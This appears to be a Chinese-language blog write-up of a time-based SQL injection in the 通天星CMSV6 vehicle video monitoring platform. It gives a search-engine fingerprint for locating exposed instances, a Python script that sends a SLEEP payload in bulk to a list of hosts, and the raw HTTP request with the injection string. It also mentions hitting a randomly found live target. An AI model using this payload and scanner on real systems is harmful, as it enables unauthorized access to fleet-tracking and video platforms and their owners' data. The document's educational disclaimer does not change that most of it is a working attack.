声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。
一、漏洞描述
通天星CMSV6车载定位监控平台的研发团队专注于提供位置服务、无线3G/4G视频传输以及云存储服务,旨在为定位及无线视频终端产品打造强大的平台支持。该产品系统兼容多种设备,包括车载录像机、单兵录像机、网络监控摄像机以及行驶记录仪,构建了一个综合视频管理平台。但是,该平台的disable存在SQL注入漏洞,这一安全漏洞可能被恶意攻击者利用,通过向服务器上传恶意的后门文件来获取系统权限。
二、资产收集
1.使用网络空间测绘引擎搜索
鹰图检索:web.body="/808gps"
2.使用poc批量扫描
import requests
import argparse
import time
RED = '\033[91m'
RESET = '\033[0m'
# Function to check vulnerability
def check_vulnerability(url):
try:
# Construct the attack URL
path = "/edu_security_officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%284%29%29%29kOIi%29"
full_url = url.rstrip('/') + path
start_time = time.time()
# Send the request
response = requests.get(full_url, timeout=30)
elapsed_time = time.time() - start_time
if 4 <= elapsed_time < 6:
print(f"{RED}URL [{url}] 可能存在通天星CMSV6车载视频监控平台 disable存在SQL注入漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
# Main function to parse arguments and check vulnerability
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在通天星CMSV6车载视频监控平台 disable存在SQL注入漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
cmd运行:python poc.py -f host.txt
随机寻找的幸运儿
三、漏洞复现
1.构造数据包
构造数据包:
GET /edu_security_officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%285%29%29%29kOIi%29 HTTP/1.1
Host:
2.数据包分析
这个数据包是一个HTTP请求,它包含了一些关键信息,如下所示:
-
请求方法:GET是HTTP协议中的一种请求方法,用于从服务器获取资源。
-
请求路径:/edu_security_officer/disable;downloadLogger.action?ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%285%29%29%29kOIi%29这个路径包含了多个部分,其中"/edu_security_officer/disable"可能是一个特定的API端点,而后面的部分是一个SQL注入尝试。
-
查询参数:ids=1+AND+%28SELECT+2688+FROM+%28SELECT%28SLEEP%285%29%29%29kOIi%29这是一个查询字符串,包含了一些参数和值。在这个例子中,参数名为"ids",其值为"1 AND (SELECT 2688 FROM (SELECT(SLEEP(5)))kOIi)"。是一个SQL注入尝试,试图执行一个延时操作(SLEEP(5))。
-
HTTP版本:HTTP/1.1这是HTTP协议的版本号,表示使用的是HTTP/1.1规范。
-
Host头:Host:这个头字段指定了请求的目标主机名或IP地址。在这个例子中,没有提供具体的主机名或IP地址。
3.结束跑路
使用yakit Web Fuzzer构造数据包发送。
使用yakit Web Fuzzer构造数据包发送。sleep(3)延时3秒
每篇一言:在狂热思绪下喊出的爱情宣言中,存在着爱情的实体。